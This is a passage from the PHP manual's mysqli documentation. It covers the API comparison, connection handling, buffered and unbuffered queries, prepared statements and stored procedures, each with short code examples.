
  • Object-oriented interface

  • Support for Prepared Statements

  • Support for Multiple Statements

  • Support for Transactions

  • Enhanced debugging capabilities

  • Embedded server support

Note:

If you are using MySQL versions 4.1.3 or later it is strongly recommended that you use this extension.

As well as the object-oriented interface the extension also provides a procedural interface.

The mysqli extension is built using the PHP extension framework, its source code is located in the directory ext/mysqli.

For further information on the mysqli extension, see Mysqli.

What is PDO?

PHP Data Objects, or PDO, is a database abstraction layer specifically for PHP applications. PDO provides a consistent API for your PHP application regardless of the type of database server your application will connect to. In theory, if you are using the PDO API, you could switch the database server you used, from say Firebird to MySQL, and only need to make minor changes to your PHP code.

Other examples of database abstraction layers include JDBC for Java applications and DBI for Perl.

While PDO has its advantages, such as a clean, simple, portable API, its main disadvantage is that it doesn't allow you to use all of the advanced features that are available in the latest versions of MySQL server. For example, PDO does not allow you to use MySQL's support for Multiple Statements.

PDO is implemented using the PHP extension framework, its source code is located in the directory ext/pdo.

For further information on PDO, see the PDO.

What is the PDO MYSQL driver?

The PDO MYSQL driver is not an API as such, at least from the PHP programmer's perspective. In fact the PDO MYSQL driver sits in the layer below PDO itself and provides MySQL-specific functionality. The programmer still calls the PDO API, but PDO uses the PDO MYSQL driver to carry out communication with the MySQL server.

The PDO MYSQL driver is one of several available PDO drivers. Other PDO drivers available include those for the Firebird and PostgreSQL database servers.

The PDO MYSQL driver is implemented using the PHP extension framework. Its source code is located in the directory ext/pdo_mysql. It does not expose an API to the PHP programmer.

For further information on the PDO MYSQL driver, see MySQL (PDO).

What is PHP's MySQL Native Driver?

In order to communicate with the MySQL database server the mysql extension, mysqli and the PDO MYSQL driver each use a low-level library that implements the required protocol. In the past, the only available library was the MySQL Client Library, otherwise known as libmysql.

However, the interface presented by libmysql was not optimized for communication with PHP applications, as libmysql was originally designed with C applications in mind. For this reason the MySQL Native Driver, mysqlnd, was developed as an alternative to libmysql for PHP applications.

The mysql extension, the mysqli extension and the PDO MySQL driver can each be individually configured to use either libmysql or mysqlnd. As mysqlnd is designed specifically to be utilised in the PHP system it has numerous memory and speed enhancements over libmysql. You are strongly encouraged to take advantage of these improvements.

Note:

The MySQL Native Driver can only be used with MySQL server versions 4.1.3 and later.

The MySQL Native Driver is implemented using the PHP extension framework. The source code is located in ext/mysqlnd. It does not expose an API to the PHP programmer.

Comparison of Features

The following table compares the functionality of the three main methods of connecting to MySQL from PHP:

 | PHP's mysqli Extension | PDO (Using PDO MySQL Driver and MySQL Native Driver) | PHP's MySQL Extension
PHP version introduced | 5.0 | 5.0 | Prior to 3.0
Included with PHP 5.x | yes | yes | Yes
MySQL development status | Active development | Active development as of PHP 5.3 | Maintenance only
Recommended by MySQL for new projects | Yes - preferred option | Yes | No
API supports Charsets | Yes | Yes | No
API supports server-side Prepared Statements | Yes | Yes | No
API supports client-side Prepared Statements | No | Yes | No
API supports Stored Procedures | Yes | Yes | No
API supports Multiple Statements | Yes | Most | No
Supports all MySQL 4.1+ functionality | Yes | Most | No

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Quickstart
Mysqli


Quickstart

Table of Contents

  • Dual procedural and object-oriented interface
  • Connections
  • Executing statements
  • Prepared Statements
  • Stored Procedures
  • Multiple Statements
  • API support for transactions
  • Metadata

This quickstart guide shall help choosing an PHP MYSQL API and help getting familiar with it.

The quickstart gives an overview on the mysqli extension. Code examples are given for all major aspects of the API. Database concepts are explained to the degree needed for presenting MySQL specifics.

Familarity with the PHP programming language, the SQL language and basic knowledge of the MySQL server is assumed.

User Contributed Notes

There are no user contributed notes for this page.
Overview
Dual procedural and object-oriented interface
Mysqli


Dual procedural and object-oriented interface

The mysqli extension features a dual interface. It supports the procedural and object-oriented programming paradigma.

Users stepping up from the old mysql extension may prefer the procedural interface. The procedural interface is similar to that of the mysql extension. In many cases function names differ only by prefix. Some mysqli functions take a connection handle as their first argument, whereas matching functions in the old mysql interface take it as an optional last argument.

Example #1 Easy migration from the old mysql extension

<?php
$mysqli = mysqli_connect("example.com", "user", "password", "database");
$res = mysqli_query($mysqli, "SELECT 'Please, do not use ' AS _msg FROM DUAL");
$row = mysqli_fetch_assoc($res);
echo $row['_msg'];

$mysql = mysql_connect("localhost", "root", "");
mysql_select_db("test");
$res = mysql_query("SELECT 'the mysql extension for new developments.' AS _msg FROM DUAL", $mysql);
$row = mysql_fetch_assoc($res);
echo $row['_msg'];
?>

The above example will output:

Please, do not use the mysql extension for new developments.

The object-oriented interface

In addition to the classical procedural interface, users can choose to use the object-oriented interface. The documentation is organized using the object-oriented interface. The object-oriented interface shows functions grouped by their purpose, making it easier to get started. The reference section gives examples for both syntax variants.

There are no significant performance differences between the two interfaces. Users can base their choice on personal preference.

Example #2 Object-oriented and procedural interface

<?php
$mysqli = mysqli_connect("example.com", "user", "password", "database");
if (mysqli_connect_errno($mysqli))
 echo "Failed to connect to MySQL: " . mysqli_connect_error();

$res = mysqli_query($mysqli, "SELECT 'A world full of ' AS _msg FROM DUAL");
$row = mysqli_fetch_assoc($res);
echo $row['_msg'];

$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: " . $mysqli->connect_error;

$res = $mysqli->query("SELECT 'choices to please everybody,' AS _msg FROM DUAL");
$row = $res->fetch_assoc();
echo $row['_msg'];
?>

The above example will output:

A world full of choices to please everybody.

The object oriented interface is used for the quickstart because the reference section is organized that way.

Mixing styles

It is possible to switch between styles at any time. Mixing both styles is not recommended for code clarity and coding style reasons.

Example #3 Bad coding style

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: " . $mysqli->connect_error;

$res = mysqli_query($mysqli, "SELECT 'Possible but bad style.' AS _msg FROM DUAL");
if (!$res)
 echo "Failed to run query: (" . $mysqli->errno . ") " . $mysqli->error;

if ($row = $res->fetch_assoc())
 echo $row['_msg'];
?>

The above example will output:

Possible but bad style.

See also

  • mysqli::__construct()
  • mysqli::query()
  • mysqli_result::fetch_assoc()
  • $mysqli::connect_errno
  • $mysqli::connect_error
  • $mysqli::errno
  • $mysqli::error
  • The MySQLi Extension Function Summary

User Contributed Notes

There are no user contributed notes for this page.
Quickstart
Connections
Quickstart


Connections

The MySQL server supports the use of different transport layers for connections. Connections use TCP/IP, Unix domain sockets or Windows named pipes.

The hostname localhost has a special meaning. It is bound to the use of Unix domain sockets. It is not possible to open a TCP/IP connection using the hostname localhost you must use 127.0.0.1 instead.

Example #1 Special meaning of localhost

<?php
$mysqli = new mysqli("localhost", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
echo $mysqli->host_info . "\n";

$mysqli = new mysqli("127.0.0.1", "user", "password", "database", 3306);
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
echo $mysqli->host_info . "\n";
?>

The above example will output:

Localhost via UNIX socket
127.0.0.1 via TCP/IP

Connection parameter defaults

Depending on the connection function used, assorted parameters can be omitted. If a parameter is not given the extension attempts to use defaults values set in the PHP configuration file.

Example #2 Setting defaults

mysqli.default_host=192.168.2.27
mysqli.default_user=root
mysqli.default_pw=""
mysqli.default_port=3306
mysqli.default_socket=/tmp/mysql.sock

The resulting parameter values are then passed to the client library used by the extension. If the client library detects empty or unset parameters, it may default to library built-in values.

Built-in connection library defaults

If the host value is unset or empty, the client library will default to a Unix socket connection on localhost. If socket is unset or empty and a Unix socket connection is requested, a connection to the default socket on /tmp/mysql.sock is attempted.

On Windows systems the host name . is interpreted by the client library as an attempt to open a Windows named pipe based connection. In this case the socket parameter is interpreted as the pipes name. If not given or empty, the socket (here: pipe name) defaults to \\.\pipe\MySQL.

If neither a Unix domain socket based not a Windows named pipe based connection is to be bestablished and the port parameter value is unset, the library will default to port 3306.

The mysqlnd library and the MySQL Client Library (libmysql) implement the same logic for determining defaults.

Connection options

Various connection options are available, for example, to set init commands which are executed upon connect or, for requesting use of a certain charset. Connection options must be set before a network connection is established.

For setting a connection option the connect operation has to be
performed in three steps: creating a connection handle with
mysqli_init(), setting the requested options using
mysqli_options() and establishing the network
connection with mysqli_real_connect().

Connection pooling

The mysqli extension supports persistent database connections, which are a special kind of pooled connections. By default every database connection opened by a script is either explicitly closed by the user during runtime or released automatically at the end of the script. A persistent connection is not. Instead it is put into a pool for later reuse, if a connection to the same server using the same username, password, socket, port and default database is opened. Reuse saves connection overhead.

Every PHP process is using its own mysqli connection pool. Depending on the web server deployment model a PHP process may serve one or multiple requests. Therefore, a pooled connection may be used by one or more scripts subsequently.

Persistent connection

If no unused persistent connection for a given combination of host, username, password, socket, port and default database can be found in the connection pool, mysqli opens a new connection. The use of persistent connections can be enabled and disabled using the PHP directive mysqli.allow_persistent. The total number of connections opened by a script can be limited with mysqli.max_links. The maximum number of persistent connections per PHP process can be restricted with mysqli.max_persistent. Please note, that the web server may spawn many PHP processes.

A common complain about persistent connections is that their state is not reset before reuse. For example, open, unfinished transactions are not automatically rolled back. But also, authorization changes which happened in the time between putting the connection into the pool and reusing it are not reflected. This may be seen as an unwanted side-effect. On the contrary, the name persistent may be understood as a promise that the state is persisted.

The mysqli extension supports both interpretations of a persistent connection: state persisted and state reset before reuse. The default is reset. Before a persistent connection is reused, the mysqli extension implicitly calls mysqli_change_user() to reset the state. The persistent connection appears to the user as if it was just opened. No artefacts from previous usages are visible.

The mysqli_change_user() function is an expensive operation. For best performance, users may want to recompile the extension with the compile flag MYSQLI_NO_CHANGE_USER_ON_PCONNECT being set.

It is left to the user to choose between safe behaviour and best performance. Both are valid optimization goals. For ease of use, the safe behaviour has been made the default at the expense of maximum performance. Please, run your own benchmarks to measure the performance impact for your work load.

See also

  • mysqli::__construct()
  • mysqli::init()
  • mysqli::options()
  • mysqli::real_connect()
  • mysqli::change_user()
  • $mysqli::host_info
  • MySQLi Configuration Options
  • Persistent Database Connections

User Contributed Notes

There are no user contributed notes for this page.
Dual procedural and object-oriented interface
Executing statements
Quickstart


Executing statements

Statements can be executed by help of the
mysqli_query(), mysqli_real_query()
and mysqli_multi_query() function.
The mysqli_query() function is the most
commonly used one. It combines executing statement and doing a
buffered fetch of its result set, if any, in one call.
Calling mysqli_query() is identical to
calling mysqli_real_query()
followed by mysqli_store_result().

The mysqli_multi_query() function is used with Multiple Statements and is described elsewhere.

Example #1 Bad coding style

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1)"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
?>

Buffered result sets

After statement execution results can be retrieved at once to be buffered by the client or by read row by row. Client-side result set buffering allows the server to free resources associated with the statement results as early as possible. Generally speaking, clients are slow consuming result sets. Therefore, it is recommended to use buffered result sets. mysqli_query() combines statement execution and result set buffering.

PHP applications can navigate freely through buffered results. Nagivation is fast because the result sets is hold in client memory. Please, keep in mind that it is often easier to scale by client than it is to scale the server.

Example #2 Navigation through buffered results

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

$res = $mysqli->query("SELECT id FROM test ORDER BY id ASC");

echo "Reverse order...\n";
for ($row_no = $res->num_rows - 1; $row_no >= 0; $row_no--) {
  $res->data_seek($row_no);
  $row = $res->fetch_assoc();
  echo " id = " . $row['id'] . "\n";
}

echo "Result set order...\n";
$res->data_seek(0);
while ($row = $res->fetch_assoc())
 echo " id = " . $row['id'] . "\n";
?>

The above example will output:

Reverse order...
 id = 3
 id = 2
 id = 1
Result set order...
 id = 1
 id = 2
 id = 3

Unbuffered result sets

If client memory is a short resource and freeing server resources as early as possible to keep server load low is not needed, unbuffered results can be used. Scrolling through unbuffered results is not possible before all rows have been read.

Example #3 Navigation through buffered results

<?php
$mysqli->real_query("SELECT id FROM test ORDER BY id ASC");
$res = $mysqli->use_result();

echo "Result set order...\n";
while ($row = $res->fetch_assoc())
 echo " id = " . $row['id'] . "\n";
?>

Result set values data types

The mysqli_query(), mysqli_real_query() and mysqli_multi_query() functions are used to execute non-prepared statements. At the level of the MySQL Client Server Protocol the command COM_QUERY and the text protocol are used for statement execution. With the text protocol, the MySQL server converts all data of a result sets into strings before sending. This conversion is done regardless of the SQL result set column data type. The mysql client libraries receive all column values as strings. No further client-side casting is done to convert columns back to their native types. Instead, all values are provided as PHP strings.

Example #4 Text protocol returns strings by default

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

$res = $mysqli->query("SELECT id, label FROM test WHERE id = 1");
$row = $res->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));
?>

The above example will output:

id = 1 (string)
label = a (string)

It is possible to convert integer and float columns back to PHP numbers by setting the MYSQLI_OPT_INT_AND_FLOAT_NATIVE connection option, if using the mysqlnd libary. If set, the mysqlnd library will check the result set meta data column types and convert numeric SQL columns to PHP numbers, if the PHP data type value range allows for it. This way, for example, SQL INT columns are returned as integers.

Example #5 Native data types with mysqlnd and conneciton option

<?php
$mysqli = mysqli_init();
$mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);
$mysqli->real_connect("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

$res = $mysqli->query("SELECT id, label FROM test WHERE id = 1");
$row = $res->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));
?>

The above example will output:

id = 1 (string)
label = a (string)

See also

  • mysqli::__construct()
  • mysqli::init()
  • mysqli::options()
  • mysqli::real_connect()
  • mysqli::query()
  • mysqli::multi_query()
  • mysqli::use_result()
  • mysqli::store_result()
  • mysqli_result::free()

User Contributed Notes

There are no user contributed notes for this page.
Connections
Prepared Statements
Quickstart


Prepared Statements

The MySQL database supports prepared statements. A prepared statement or a parameterized statement is used to execute the same statement repeatedly with high efficiency.

Basic workflow

The prepared statement execution consists of two stages: prepare and execute. At the prepare stage a statement template is send to the database server. The server performs a syntax check and initializes server internal resources for later use.

The MySQL server supports using anonymous, positional placeholder with ?.

Example #1 First stage: prepare

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

/* Non-prepared statement */
if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

/* Prepared statement, stage 1: prepare */
if (!($stmt = $mysqli->prepare("INSERT INTO test(id) VALUES (?)")))
 echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
?>

Prepare is followed by execute. During execute the client binds parameter values and sends them to the server. The server creates a statement from the statement template and the bound values to execute it using the previously created internal resources.

Example #2 Second stage: bind and execute

<?php
/* Prepared statement, stage 2: bind and execute */
$id = 1;
if (!$stmt->bind_param("i", $id))
 echo "Binding parameters failed: (" . $stmt->errno . ") " . $stmt->error;

if (!$stmt->execute())
 echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
?>

Repeated execution

A prepared statement can be executed repeatedly. Upon every execution the current value of the bound variable is evaluated and send to the server. The statement is not parsed again. The statement template is not transferred to the server again.

Example #3 INSERT prepared once, executed multiple times

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

/* Non-prepared statement */
if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

/* Prepared statement, stage 1: prepare */
if (!($stmt = $mysqli->prepare("INSERT INTO test(id) VALUES (?)")))
 echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;

/* Prepared statement, stage 2: bind and execute */
$id = 1;
if (!$stmt->bind_param("i", $id))
 echo "Binding parameters failed: (" . $stmt->errno . ") " . $stmt->error;

if (!$stmt->execute())
 echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;

/* Prepared statement: repeated execution, only data transferred from client to server */
for ($id = 2; $id < 5; $id++)
  if (!$stmt->execute())
    echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;

/* explicit close recommended */
$stmt->close();

/* Non-prepared statement */
$res = $mysqli->query("SELECT id FROM test");
var_dump($res->fetch_all());
?>

The above example will output:

array(4) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "1"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "3"
  }
  [3]=>
  array(1) {
    [0]=>
    string(1) "4"
  }
}

Every prepared statement occupies server resources. Statements should be closed explicitly immediately after use. If not done explicitly, the statement will be closed when the statement handle is freed by PHP.

Using a prepared statement is not always the most efficient way of executing a statement. A prepared statement executed only once causes more client-server round-trips than a non-prepared statement. This is why the SELECT is not run as a prepared statement above.

Also, consider the use of the MySQL multi-INSERT SQL syntax for INSERTs. For the example, belows multi-INSERT requires less round-trips between the server and client than the prepared statement shown above.

Example #4 Less round trips using multi-INSERT SQL

<?php
if (!$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3), (4)"))
 echo "Multi-INSERT failed: (" . $mysqli->errno . ") " . $mysqli->error;
?>

Result set values data types

The MySQL Client Server Protocol defines a different data transfer protocol for prepared statements and non-prepared statements. Prepared statements are using the so called binary protocol. The MySQL server sends result set data "as is" in binary format. Results are not serialized into strings before sending. The client libraries do not receive strings only. Instead, they will receive binary data and try to convert the values into appropriate PHP data types. For example, results from an SQL INT column will be provided as PHP integer variables.

Example #5 Native datatypes

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

$stmt = $mysqli->prepare("SELECT id, label FROM test WHERE id = 1");
$stmt->execute();
$res = $stmt->get_result();
$row = $res->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));
?>

The above example will output:

id = 1 (integer)
label = a (string)

This behaviour differes from non-prepared statements. By default, non-prepared statements return all results as strings. This default can be changed using a connection option. If the connection option is used, there are no differences.

Fetching results using bound variables

Results from prepared statements can either be retrieved by binding output variables or by requesting a mysqli_result object.

Output variables must be bound after statement execution. One variable must be bound for every column of the statements result set.

Example #6 Output variable binding

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!($stmt = $mysqli->prepare("SELECT id, label FROM test")))
 echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!$stmt->execute())
  echo "Execute failed: (" . $mysqli->errno . ") " . $mysqli->error;

$out_id = NULL;
$out_label = NULL;
if (!$stmt->bind_result($out_id, $out_label))
 echo "Binding output parameters failed: (" . $stmt->errno . ") " . $stmt->error;

while ($stmt->fetch())
 printf("id = %s (%s), label = %s (%s)\n",
   $out_id, gettype($out_id),
   $out_label, gettype($out_label));
?>

The above example will output:

id = 1 (integer), label = a (string)

Prepared statements return unbuffered result sets by default. The results of the statement are not implicitly fetched and transferred from the server to the client for client-side buffering. The result set takes server resources until all results have been fetched by the client. Thus it is recommended to consume results timely. If a client fails to fetch all results or the client closes the statement before having fetched all data, the data has to be fetched implicitly by mysqli.

It is also possible to buffer the results of a prepared statement using mysqli_stmt_store_result().

Fetching results using mysqli_result interface

Instead of using bound results, results can also be retrieved through the mysqli_result interface. mysqli_stmt_get_result() returns a buffered result set.

Example #7 Using mysqli_result to fetch results

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!($stmt = $mysqli->prepare("SELECT id, label FROM test ORDER BY id ASC")))
 echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!$stmt->execute())
  echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;

if (!($res = $stmt->get_result()))
 echo "Getting result set failed: (" . $stmt->errno . ") " . $stmt->error;

var_dump($res->fetch_all());
?>

The above example will output:

array(1) {
  [0]=>
  array(2) {
    [0]=>
    int(1)
    [1]=>
    string(1) "a"
  }
}

Using the mysqli_result interface this has the additional benefit of flexible client-side result set navigation.

Example #8 Buffered result set for flexible read out

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a'), (2, 'b'), (3, 'c')"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!($stmt = $mysqli->prepare("SELECT id, label FROM test")))
 echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!$stmt->execute())
  echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;

if (!($res = $stmt->get_result()))
 echo "Getting result set failed: (" . $stmt->errno . ") " . $stmt->error;

for ($row_no = ($res->num_rows - 1); $row_no >= 0; $row_no--) {
  $res->data_seek($row_no);
  var_dump($res->fetch_assoc());
}
$res->close();
?>

The above example will output:

array(2) {
  ["id"]=>
  int(3)
  ["label"]=>
  string(1) "c"
}
array(2) {
  ["id"]=>
  int(2)
  ["label"]=>
  string(1) "b"
}
array(2) {
  ["id"]=>
  int(1)
  ["label"]=>
  string(1) "a"
}

Escaping and SQL injection

Bound variables will be escaped automatically by the server. The server inserts their escaped values at the appropriate places into the statement template before execution. Users must hint the server about the type of the bound variable for appropriate conversion, see mysqli_stmt_bind_param().

The automatic escaping of values within the server is sometimes considered as a security feature to prevent SQL injection. The same degree of security can be achieved with non-prepared statements, if input values are escaped correctly.

Client-side prepared statement emulation

The API does not include a client-side prepared statement emulation.

Quick prepared - non-prepared statement comparison

The below table gives a quick comparison on server-side prepared and non-prepared statements.

 | Prepared Statement | Non-prepared statement
Client-server round trips, SELECT, single execution | 2 | 1
Statement string transferred from client to server | 1 | 1
Client-server round trips, SELECT, repeated (n) execution | 1 + n | n
Statement string transferred from client to server | 1 template, n times bound parameter, if any | n times together with parameter, if any
Input parameter binding API | yes, automatic input escaping | no, manual input escaping
Output variable binding API | yes | no
Supports use of mysqli_result API | yes, use mysqli_stmt_get_result() | yes
Buffered result sets | yes, use mysqli_stmt_get_result()() or binding with mysqli_stmt_store_result() | yes, default of mysqli_query()
Unbuffered result sets | yes, use output binding API | yes, use mysqli_real_query() with mysqli_use_result()
MySQL Client Server protocol data transfer flavour | binary protocol | text protocol
Result set values SQL data types | preserved when fetching | converted to string or preserved when fetching
Supports all SQL statements | Recent MySQL versions support most but not all | yes

See also

  • mysqli::__construct()
  • mysqli::query()
  • mysqli::prepare()
  • mysqli_stmt::prepare()
  • mysqli_stmt::execute()
  • mysqli_stmt::bind_param()
  • mysqli_stmt::bind_result()

User Contributed Notes

There are no user contributed notes for this page.
Executing statements
Stored Procedures
Quickstart


Stored Procedures

The MySQL database supports stored procedures. A stored procedure is a subroutine stored in the database catalog. Applications can call and execute the stored procedure. The CALL SQL statement is used to execute a stored procedure.

Parameter

Stored procedures can have IN, INOUT and OUT parameters, depending on the MySQL version. The mysqli interface has no special notion for the different kinds of parameters.

IN parameter

Input parameters are provided with the CALL statement. Please, make sure values are escaped correctly.

Example #1 Calling a stored procedure

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!$mysqli->query("DROP PROCEDURE IF EXISTS p") ||
    !$mysqli->query("CREATE PROCEDURE p(IN id_val INT) BEGIN INSERT INTO test(id) VALUES(id_val); END;"))
   echo "Stored procedure creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!$mysqli->query("CALL p(1)"))
 echo "CALL failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!($res = $mysqli->query("SELECT id FROM test")))
 echo "SELECT failed: (" . $mysqli->errno . ") " . $mysqli->error;

var_dump($res->fetch_assoc());
?>

The above example will output:

array(1) {
  ["id"]=>
  string(1) "1"
}

INOUT/OUT parameter

The values of INOUT/OUT parameters are accessed using session variables.

Example #2 Using session variables

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP PROCEDURE IF EXISTS p") ||
    !$mysqli->query('CREATE PROCEDURE p(OUT msg VARCHAR(50)) BEGIN SELECT "Hi!" INTO msg; END;'))
   echo "Stored procedure creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!$mysqli->query("SET @msg = ''") ||
    !$mysqli->query("CALL p(@msg)"))
 echo "CALL failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!($res = $mysqli->query("SELECT @msg as _p_out")))
 echo "Fetch failed: (" . $mysqli->errno . ") " . $mysqli->error;

$row = $res->fetch_assoc();
echo $row['_p_out'];
?>

The above example will output:

Hi!

Application and framework developers may be able to provide a more convenient API using a mix of session variables and databased catalog inspection. However, please note the possible performance impact of a custom solution based on catalog inspection.

Handling result sets

Stored procedures can return result sets. Result sets returned from a stored procedure cannot be fetched correctly using mysqli_query(). The mysqli_query() function combines statement execution and fetching the first result set into a buffered result set, if any. However, there are additional stored procedure result sets hidden from the user which cause mysqli_query() to fail returning the user expected result sets.

Result sets returned from a stored procedure are fetched using mysqli_real_query() or mysqli_multi_query(). Both functions allow fetching any number of result sets returned by a statement, such as CALL. Failing to fetch all result sets returned by a stored procedure causes an error.

Example #3 Fetching results from stored procedures

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!$mysqli->query("DROP PROCEDURE IF EXISTS p") ||
    !$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;'))
   echo "Stored procedure creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!$mysqli->multi_query("CALL p()"))
   echo "CALL failed: (" . $mysqli->errno . ") " . $mysqli->error;

do {
 if ($res = $mysqli->store_result()) {
   printf("---\n");
   var_dump($res->fetch_all());
   $res->free();
 } else {
   if ($mysqli->errno)
     echo "Store failed: (" . $mysqli->errno . ") " . $mysqli->error;
 }
} while ($mysqli->more_results() && $mysqli->next_result());
?>

The above example will output:

---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "1"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "3"
